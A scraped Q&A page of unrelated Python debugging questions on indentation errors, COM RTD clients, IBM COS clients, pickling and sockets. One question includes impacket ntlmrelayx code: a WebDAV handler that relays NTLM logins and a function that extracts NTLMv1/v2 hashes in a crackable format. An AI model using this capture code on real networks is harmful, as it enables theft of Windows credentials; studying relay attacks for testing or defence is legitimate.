I'm probably missing something obvious, but I've been trying to solve this problem for about an hour, without any success. Probably going to feel really stupid when the solution is found. Here's the error I'm getting:
File "xpc_connection.py", line 77
def remoteObjectProxy():
^
IndentationError: unexpected indent
If I delete that portion of code, I get an indent error for the next line. There are some super strange problems going on with my indenting ...
Here's my code (yes, I know it's rather incomplete, and may have a few issues):
from collections import namedtuple;
import socket;
import sys;
from recvTimeout import recv_timeout
from recvTimeout import recv_end
from recvTimeout import sendAllWithEnd
# Named tuple that defines struct-like structure.
# field1 - body length, field2 - headerChecksum, field3 - checksum
XPCMessageHeader = namedtuple("XPCMessageHeader", "field1 field2 field3");
class XPCConnection(object):
"""An class that represents a connection made between processes using XPC.
Attributes:
"""
def __init__(self, serviceName):
self._serviceName = serviceName;
self._exportedObject = None; # This process's "representation" of itself.
self._remoteObjectProxy = None; # This process's "representation" of the remote process.
self._exportedObjectInterface = None; # Methods allowed to be received by exported object on this connection.
self._remoteObjectInterface = None; # Methods allowed to be received by object that has been "imported"
# to this connection.
self._connectionSocket = None # Domain socket that is endpoint of connection between processes.
def connect():
# Create a UDS socket
_connectionSocket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
# Change this to port where remote process is listening.
print >>sys.stderr, 'connecting to %s' % _serviceName
try:
_connectionSocket.connect(_serviceName)
except socket.error, msg:
print >>sys.stderr, msg
sys.exit(1)
print >>sys.stderr, 'Attempting to connect.'
try:
# Send data
sendAllWithEnd(_connectionSocket,'Connected Successfully.')
data = recv_end(_connectionSocket);
print >>sys.stderr, 'received "%s"' % data;
except socket.error:
print >>sys.stderr, 'Connection Failed.';
def disconnect():
print >>sys.stderr, 'closing socket';
_connectionSocket.close();
def serviceName():
return serviceName;
#TODO
'''
def readMessage():
def readMessage():
def resume():
def invalidate():
'''
def remoteObjectProxy():
return _remoteObjectProxy;
#classmethod
def setRemoteObjectProxy(cls):
_remoteObjectProxy = CreateWithConnection(cls); # Create a remoteObjectProxy object with connection
# field that is this connection object.
def exportedObject():
return exportedObject;
def setExportedObject(exportedObject):
_exportedObject = exportedObject;
'''
# PRIVATE Helper Methods
# invocation of type XPCInvocation, completionHandler of type XPCInvocationCompletionHandler
# return type void
def _invokeOnRemoteObject(invocation, completionHandler):
# invocation of type XPCInvocation
# return type XPCValue
def _invokeOnExportedObject(invocation):
# May be unnecessary for now.
# fd of type int (represents a file descriptor)
# return type bool (indicates success?)
def _setFileDescriptor(int fd):
# data of type DataRef
# return type void
def _write(data):
# Probably not necessary
# estimatedBytesToRead of type int
# return type void
def _readDataOnReadQueue(estimatedBytesToRead):
# Likely necessary
# bytes of type string, length of type int
# return type void
def _processDataOnReadQueue(bytes, length):
# Likely unecessary
# data of type DataRef
# return type void
def _writeDataOnWriteQueue(data):
# error of type ErrorRef
# return type void
def _terminateWithErrorSync(error):
# error of type Error Ref
# return type void
def _terminateWithErrorOnUserQueue(error):
# return type bool. Returns true if connected, false otherwise
def _isConnected():
# delayInSecond of type int. Not sure if you can pass in an argument like this.
# return type void
def _connectWithExponentialBackoff(delayInSeconds = 0.0625):
# return type bool. Returns true iff connected successfully
def _attemptToConnect():
# Likely unecessary
# return type void
def _flushRequestQueue():
# closes connection
# return type void
def _disconnect():
'''
#TODO: Invocation handler equivalent.
# "This" process's representation of the other process.
class XPCRemoteObjectProxy(object):
def __init__(self, connection):
# Reference to the connection Remote Object is a part of. Necessary so that when
# you invoke a method and get stuff back, reomte object proxy knows where to send stuff back to.
self._connection = connection;
def invoke(invocation):
_connection.invokeOneRemoteObject(invocation); # TODO: invokeOneRemoteObject
# Used to represent "this" process.
class XPCExportedObject(object):
def __init__(self):
self._invocationHandlersByMethodSignature = {}; # Invocation handlers stored in dictionary. Keyed by method signatures.
# invocation is XPCInfocation object, returnValue XPCValue object
def invoke(invocation, returnValue):
try:
# We directly modify returnValue here. Unsure if this acutally works.
returnValue = _invocationHandlersByMethodSignature[methodSignature()];
return True;
except KeyError:
return False;
# Handler is of type XPCInvocationHandler and methodName is of type string.
# Come back to this
def registerInvocationHandlerForMethodSignature(handler, methodName):
return True
# Used to call a method across an XPC connection.
class XPCInvocation(object):
def __init__(self):
self._methodSignature = ""; # Signature of method to be called.
self._arguments = []; # List of arguments for the called method. Elements are XPCValue objects.
# TODO: This is definitely incorrect.
# Make this a classmethod?
def createFromSerializedRepresentation(serializedRepresentation):
invocation = self.__class__();
invocation.setMethodSignature(serializedRepresentation.methodsignature());
for serializedValue in serializedRepresentation.values():
invocation._arguments.append(FromSerializedRepresentation(serializedValue));
# Note: FromSerializedRepresentation function defined in XPCValue class.
# TODO: XPCValue Class
return invocation;
def getMethodSignature():
return _methodSignature;
def setMethodSignature(methodSignature):
_methodSignature = methodSignature;
def getArguments():
return _arguments
# Takes in an XPCValue as an argument.
def appendArgument(value):
_arguments.append(value);
# TODO: This is definitely incorrect.
# NOTE: XPCInvocationMessage has yet to be written. It is provided by protobuf.
def serializedRepresentation():
message = XPCInvocationMessage();
message.set_methodsignature(_methodSignature);
for value in _arguments:
message.add_values().CopyFrom(value.serializedRepresentation());
return message
You're using multi-line strings to substitute for multi-line comments. They are not comments, however, and when they're dedented all the way out like that, then it terminates the class scope and you can't get back into it.
Quick fix, indent the opening ''' to match the class scope.
Related
I'm trying to implement an RTD client using this project as an example, but without success.
Instance as RTD server the example contained in the win32com package below, and in Excel it works perfectly, but in the RTD client used as a template, it generates this error.
RTD client code
import functools
import pythoncom
import win32com.client
from win32com import universal
from win32com.client import gencache
from win32com.server.util import wrap
EXCEL_TLB_GUID = '{00020813-0000-0000-C000-000000000046}'
EXCEL_TLB_LCID = 0
EXCEL_TLB_MAJOR = 1
EXCEL_TLB_MINOR = 4
gencache.EnsureModule(EXCEL_TLB_GUID, EXCEL_TLB_LCID, EXCEL_TLB_MAJOR, EXCEL_TLB_MINOR)
universal.RegisterInterfaces(EXCEL_TLB_GUID,
EXCEL_TLB_LCID, EXCEL_TLB_MAJOR, EXCEL_TLB_MINOR,
['IRtdServer', 'IRTDUpdateEvent'])
# noinspection PyProtectedMember
class ObjectWrapperCOM:
LCID = 0x0
def __init__(self, obj):
self._impl = obj # type: win32com.client.CDispatch
def __getattr__(self, item):
flags, dispid = self._impl._find_dispatch_type_(item)
if dispid is None:
raise AttributeError("{} is not a valid property or method for this object.".format(item))
return functools.partial(self._impl._oleobj_.Invoke, dispid, self.LCID, flags, True)
# noinspection PyPep8Naming
class RTDUpdateEvent:
_com_interfaces_ = ['IRTDUpdateEvent']
_public_methods_ = ['Disconnect', 'UpdateNotify']
_public_attrs_ = ['HeartbeatInterval']
# Implementation of IRTDUpdateEvent.
HeartbeatInterval = -1
def __init__(self, event_driven=True):
self.ready = False
self._event_driven = event_driven
def UpdateNotify(self):
if self._event_driven:
self.ready = True
def Disconnect(self):
pass
class RTDClient:
MAX_REGISTERED_TOPICS = 1024
def __init__(self, class_id):
"""
:param classid: can either be class ID or program ID
"""
self._class_id = class_id
self._rtd = None
self._update_event = None
self._topic_to_id = {}
self._id_to_topic = {}
self._topic_values = {}
self._last_topic_id = 0
def connect(self, event_driven=True):
"""
Connects to the RTD server.
Set event_driven to false if you to disable update notifications.
In this case you'll need to call refresh_data manually.
"""
dispatch = win32com.client.Dispatch(self._class_id)
self._update_event = RTDUpdateEvent(event_driven)
try:
self._rtd = win32com.client.CastTo(dispatch, 'IRtdServer')
except TypeError:
# Automated makepy failed...no detailed construction available for the class
self._rtd = ObjectWrapperCOM(dispatch)
self._rtd.ServerStart(wrap(self._update_event))
def update(self):
"""
Check if there is data waiting and call RefreshData if necessary. Returns True if new data has been received.
Note that you should call this following a call to pythoncom.PumpWaitingMessages(). If you neglect to
pump the message loop you'll never receive UpdateNotify callbacks.
"""
# noinspection PyUnresolvedReferences
pythoncom.PumpWaitingMessages()
if self._update_event.ready:
self._update_event.ready = False
self.refresh_data()
return True
else:
return False
def refresh_data(self):
"""
Grabs new data from the RTD server.
"""
(ids, values) = self._rtd.RefreshData(self.MAX_REGISTERED_TOPICS)
for id_, value in zip(ids, values):
if id_ is None and value is None:
# This is probably the end of message
continue
assert id_ in self._id_to_topic, "Topic ID {} is not registered.".format(id_)
topic = self._id_to_topic[id_]
self._topic_values[topic] = value
def get(self, topic: tuple):
"""
Gets the value of a registered topic. Returns None if no value is available. Throws an exception if
the topic isn't registered.
"""
assert topic in self._topic_to_id, 'Topic %s not registered.' % (topic,)
return self._topic_values.get(topic)
def register_topic(self, topic: tuple):
"""
Registers a topic with the RTD server. The topic's value will be updated in subsequent data refreshes.
"""
if topic not in self._topic_to_id:
id_ = self._last_topic_id
self._last_topic_id += 1
self._topic_to_id[topic] = id_
self._id_to_topic[id_] = topic
self._rtd.ConnectData(id_, topic, True)
def unregister_topic(self, topic: tuple):
"""
Un-register topic so that it will not get updated.
:param topic:
:return:
"""
assert topic in self._topic_to_id, 'Topic %s not registered.' % (topic,)
self._rtd.DisconnectData(self._topic_to_id[topic])
def disconnect(self):
"""
Closes RTD server connection.
:return:
"""
self._rtd.ServerTerminate()
The example RTD Server is Python.RTD.TimeServer and it works great in Excel, but the RTD client in the above example throws this error:
File "C:\Users\XXXXXX\AppData\Local\Temp\gen_py\3.9\00020813-0000-0000-C000-000000000046x0x1x9.py", line 20963, in UpdateNotify
return self.oleobj.InvokeTypes(10, LCID, 1, (24, 0), (),)
pywintypes.com_error: (-2147352573, 'Member not found.', None, None)
I have no knowledge of COM, but in the struggle to learn.
Any suggestions from friends?
You need to implement all the methods defined by the IRTDServer interface.
https://learn.microsoft.com/en-us/dotnet/api/microsoft.office.interop.excel.irtdserver?view=excel-pia
Once you do that excel should be able to find all methods it needs to work with your server.
I have a class which is intended to create an IBM Cloud Object Storage object. There are 2 functions I can use for initialization : resource() and client(). In the init function there is an object_type parameter which will be used to decide which function to call.
class ObjectStorage:
def __init__(self, object_type: str, endpoint: str, api_key: str, instance_crn: str, auth_endpoint: str):
valid_object_types = ("resource", "client")
if object_type not in valid_object_types:
raise ValueError("Object initialization error: Status must be one of %r." % valid_object_types)
method_type = getattr(ibm_boto3, object_type)()
self._conn = method_type(
"s3",
ibm_api_key_id = api_key,
ibm_service_instance_id= instance_crn,
ibm_auth_endpoint = auth_endpoint,
config=Config(signature_version="oauth"),
endpoint_url=endpoint,
)
#property
def connect(self):
return self._conn
If I run this, I receive the following error:
TypeError: client() missing 1 required positional argument: 'service_name'
If I use this in a simple function and call it by using ibm_boto3.client() or ibm_boto3.resource(), it works like a charm.
def get_cos_client_connection():
COS_ENDPOINT = "xxxxx"
COS_API_KEY_ID = "yyyyy"
COS_INSTANCE_CRN = "zzzzz"
COS_AUTH_ENDPOINT = "----"
cos = ibm_boto3.client("s3",
ibm_api_key_id=COS_API_KEY_ID,
ibm_service_instance_id=COS_INSTANCE_CRN,
ibm_auth_endpoint=COS_AUTH_ENDPOINT,
config=Config(signature_version="oauth"),
endpoint_url=COS_ENDPOINT
)
return cos
cos = get_cos_client_connection()
It looks like it calls the client function on this line, but I am not sure why:
method_type = getattr(ibm_boto3, object_type)()
I tried using:
method_type = getattr(ibm_boto3, lambda: object_type)()
but it was a silly move.
The client function looks like this btw:
def client(*args, **kwargs):
"""
Create a low-level service client by name using the default session.
See :py:meth:`ibm_boto3.session.Session.client`.
"""
return _get_default_session().client(*args, **kwargs)
which refers to:
def client(self, service_name, region_name=None, api_version=None,
use_ssl=True, verify=None, endpoint_url=None,
aws_access_key_id=None, aws_secret_access_key=None, aws_session_token=None,
ibm_api_key_id=None, ibm_service_instance_id=None, ibm_auth_endpoint=None,
auth_function=None, token_manager=None,
config=None):
return self._session.create_client(
service_name, region_name=region_name, api_version=api_version,
use_ssl=use_ssl, verify=verify, endpoint_url=endpoint_url,
aws_access_key_id=aws_access_key_id,
aws_secret_access_key=aws_secret_access_key,
aws_session_token=aws_session_token,
ibm_api_key_id=ibm_api_key_id, ibm_service_instance_id=ibm_service_instance_id,
ibm_auth_endpoint=ibm_auth_endpoint, auth_function=auth_function,
token_manager=token_manager, config=config)
Same goes for resource()
If you look at the stracktrace, it will probably point to this line:
method_type = getattr(ibm_boto3, object_type)()
And not the one after where you actually call it. The reason is simple, those last two parenthese () mean you're calling the function you just retrieved via getattr.
So simply do this:
method_type = getattr(ibm_boto3, object_type)
Which means that method_type is actually the method from the ibm_boto3 object you're interested in.
Can confirm that by either debugging using import pdb; pdb.set_trace() and inspect it, or just add a print statement:
print(method_type)
I am patching a tool that works on the NTLM network protocol, I have a structure object where I index a string and pass to a function, inside the scope of the function the variable changes from a <type 'str'> to <type 'instance'>.
function call:
# type(self.challengeMessage['challenge']) == <type 'str'>
self.ParseHTTPHash(self.challengeMessage['challenge'])
inside function:
def ParseHTTPHash(challenge):
# type(challenge) == <type 'instance'>
challenge.encode("hex") # causes exception due to being instance type and not string
challengeMessage object:
class NTLMAuthChallenge(Structure):
structure = (
('','"NTLMSSP\x00'),
('message_type','<L=2'),
('domain_len','<H-domain_name'),
('domain_max_len','<H-domain_name'),
('domain_offset','<L=40'),
('flags','<L=0'),
('challenge','8s'),
('reserved','8s=""'),
('TargetInfoFields_len','<H-TargetInfoFields'),
('TargetInfoFields_max_len','<H-TargetInfoFields'),
('TargetInfoFields_offset','<L'),
('VersionLen','_-Version','self.checkVersion(self["flags"])'),
('Version',':'),
('domain_name',':'),
('TargetInfoFields',':'))
#staticmethod
def checkVersion(flags):
if flags is not None:
if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
return 0
return 8
def getData(self):
if self['TargetInfoFields'] is not None and type(self['TargetInfoFields']) is not bytes:
raw_av_fields = self['TargetInfoFields'].getData()
self['TargetInfoFields'] = raw_av_fields
return Structure.getData(self)
def fromString(self,data):
Structure.fromString(self,data)
self['domain_name'] = data[self['domain_offset']:][:self['domain_len']]
self['TargetInfoFields'] = data[self['TargetInfoFields_offset']:][:self['TargetInfoFields_len']]
return self
the weird thing is if I pass self into ParseHTTPHasH(self) and reference it inside the function self.challengeMessage['challenge'] it doesn't change type to instance. What is going on here?
(Edit:)
Apologizes for the vagueness of the original post its hard to show context with this large file
General Layout Context:
class HTTPRelayServer(Thread):
...
# Parse NTLMv1/v2 hash with challengeMessage & token * custom *
# check out responder ParseSMBHash to implement for smbrelayserver.py
# replace impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py
def ParseHTTPHash(self,client,data):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
# parameter reference
*---------> NumChal = self.challengeMessage['challenge'].encode("hex")
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, NumChal)
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, NumChal, NTHash[:32], NTHash[32:])
return WriteHash
def do_PROPFIND(self):
proxy = False
if (".jpg" in self.path) or (".JPG" in self.path):
content = """<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
else:
content = """<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
messageType = 0
if self.headers.getheader('Authorization') is None:
self.do_AUTHHEAD(message='NTLM')
pass
else:
typeX = self.headers.getheader('Authorization')
try:
_, blob = typeX.split('NTLM')
token = base64.b64decode(blob.strip())
except:
self.do_AUTHHEAD()
messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 1:
if not self.do_ntlm_negotiate(token, proxy=proxy):
LOG.info("do negotiate failed, sending redirect")
self.do_REDIRECT()
elif messageType == 3:
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
else:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
self.do_ntlm_auth(token, authenticateMessage)
self.do_attack()
# Function call
*------------> print(self.ParseHTTPHash(self,str(token)))
self.send_response(207, "Multi-Status")
self.send_header('Content-Type', 'application/xml')
self.send_header('Content-Length', str(len(content)))
self.end_headers()
self.wfile.write(content)
return
...
def ParseHTTPHash(challenge):
If this is a free function (defined outside class), you shouldn't call it self.ParseHTTPHash(value), but simply ParseHTTPHash(value). If it's not #staticmethod and it's inside the class - add self as first parameter.
I guess ParseHTTPHash is a method inside your class. If so please pass self as first parameter.
def ParseHTTPHash(self,challenge)
All normal instance methods of a class (not #staticmethod or whatever) take a first parameter, which is the object on which they've been invoked.
So, when you call
obj.foo(param)
on an object obj of class C, it translates to roughly
C.foo(obj, param)
which is usually implemented as
class C:
def foo(self, param):
pass # whatever
Otherwise the instance method wouldn't know which instance of class C it was supposed to be working on.
So, if ParseHTTPHash is an instance method, you should call it as self.ParseHTTPHash(param), but you declared it wrong.
If ParseHTTPHash is not an instance method, you should not call it as self.ParseHTTPHash(param) in the first place, because that syntax is specifically for instance methods.
The only way to know which case applies is for you to show the definition of ParseHTTPHash as #RafalS asked.
I have the following simple class definition:
def apmSimUp(i):
return APMSim(i)
def simDown(sim):
sim.close()
class APMSimFixture(TestCase):
def setUp(self):
self.pool = multiprocessing.Pool()
self.sims = self.pool.map(
apmSimUp,
range(numCores)
)
def tearDown(self):
self.pool.map(
simDown,
self.sims
)
Where class APMSim is defined purely by plain simple python primitive types (string, list etc.) the only exception is a static member, which is a multiprocessing manager.list
However, when I try to execute this class, I got the following error information:
Error
Traceback (most recent call last):
File "/home/peng/git/datapassport/spookystuff/mav/pyspookystuff_test/mav/__init__.py", line 77, in setUp
range(numCores)
File "/usr/lib/python2.7/multiprocessing/pool.py", line 251, in map
return self.map_async(func, iterable, chunksize).get()
File "/usr/lib/python2.7/multiprocessing/pool.py", line 567, in get
raise self._value
MaybeEncodingError: Error sending result: '[<pyspookystuff.mav.sim.APMSim object at 0x7f643c4ca8d0>]'. Reason: 'TypeError("can't pickle thread.lock objects",)'
Which is strange as thread.lock cannot be found anywhere, I strictly avoid any multithreading component (as you can see, only multiprocessing component is used). And none of these component exist in my class, or only as static member, what should I do to make this class picklable?
BTW, is there a way to exclude a black sheep member from pickling? Like Java's #transient annotation?
Thanks a lot for any help!
UPDATE: The following is my full APMSim class, please see if you find anything that violates it picklability:
usedINums = mav.manager.list()
class APMSim(object):
global usedINums
#staticmethod
def nextINum():
port = mav.nextUnused(usedINums, range(0, 254))
return port
def __init__(self, iNum):
# type: (int) -> None
self.iNum = iNum
self.args = sitl_args + ['-I' + str(iNum)]
#staticmethod
def create():
index = APMSim.nextINum()
try:
result = APMSim(index)
return result
except Exception as ee:
usedINums.remove(index)
raise
#lazy
def _sitl(self):
sitl = SITL()
sitl.download('copter', '3.3')
sitl.launch(self.args, await_ready=True, restart=True)
print("launching .... ", sitl.p.pid)
return sitl
#lazy
def sitl(self):
self.setParamAndRelaunch('SYSID_THISMAV', self.iNum + 1)
return self._sitl
def _getConnStr(self):
return tcp_master(self.iNum)
#lazy
def connStr(self):
self.sitl
return self._getConnStr()
def setParamAndRelaunch(self, key, value):
wd = self._sitl.wd
print("relaunching .... ", self._sitl.p.pid)
v = connect(self._getConnStr(), wait_ready=True) # if use connStr will trigger cyclic invocation
v.parameters.set(key, value, wait_ready=True)
v.close()
self._sitl.stop()
self._sitl.launch(self.args, await_ready=True, restart=True, wd=wd, use_saved_data=True)
v = connect(self._getConnStr(), wait_ready=True)
# This fn actually rate limits itself to every 2s.
# Just retry with persistence to get our first param stream.
v._master.param_fetch_all()
v.wait_ready()
actualValue = v._params_map[key]
assert actualValue == value
v.close()
def close(self):
self._sitl.stop()
usedINums.remove(self.iNum)
lazy decorator is from this library:
https://docs.python.org/2/tutorial/classes.html#generator-expressions
It would help to see how your class looks, but if it has methods from multiprocessing you may have issues just pickling it by default. Multiprocessing objects can use locks as well, and these are (obviously) unpickle-able.
You can customize pickling with the __getstate__ method, or __reduce__ (documented in the same place).
I am trying to use pickle to encode instances of a class and send it across a socket and decode it at the other end, however upon reaching the other end AttributeError: 'module' object has no attribute '' is thrown when calling pickle.loads(). after googling around I confirmed that pickle is correctly importing the module containing the class definition.I cannot figure out why it is looking for a attribute that does not have a name
the function for receiving the packet
def run(self):
while self.alive.isSet():
try:
cmd = self.cmd_q.get(True, 0.1)
self.log.debug('Q Returned')
self.handlers[cmd.type](cmd)
except Queue.Empty as e:
#self.log.debug('Q Returned Empty')
pass
if self.connected.isSet():
self.log.debug('checking packets')
if self.conn:
x = select.select((self.conn,),(),(), 0.1)
self.log.debug('SERVER returned')
else:
x = select.select((self.sock,),(),(), 0.1)
self.log.debug('CLIENT returned')
if len(x[0]) != 0:
self.log.debug('Got Packet')
packet = x[0][0].makefile('rwb').readline()
self.__reply_receive(packet)
the function for sending
def __handle_send(self, cmd):
self.log.debug('Sending.....')
if self.connected.isSet():
packet = pickle.dumps(cmd.data,pickle.HIGHEST_PROTOCOL)
if self.conn:
self.conn.send(packet + '\n')
else:
self.sock.send(packet + '\n')
self.log.debug('Sent!')
and the class definition
class Packet(object):
"""
LINEUP (line)
UPDATE (dict)
INPUT (line)
DISCONN None
TEST (line)
"""
LINEUP, UPDATE, INPUT, DISCONN, TEST = range(5)
def __init__(self, type, data = 'blarg'):
self.type = type
self.data = data
I don't think you can rely on the result of pickle.dumps to not contain any newlines. You'll need another way to find out where the pickled object ends. You might do this by sending the length first. (pickle.load can determine where the object ends, but it would have to block until the whole object can be read.)
Your use of the socket.send method is incorrect. It can send fewer bytes than you request, and it will return the number of bytes sent. You need to make a loop to send the remaining bytes, something like this:
def send_all(sock, string):
bytes_sent = 0
while bytes_sent < len(string):
bytes_sent += sock.send(string[bytes_sent:])
Keep in mind that this will block until all bytes can be sent. If you don't want that, you'll have to integrate this into a select loop.
Printing a hash of your data would probably be a useful test, to figure out whether the error is in transmitting the data or in pickling/unpickling it.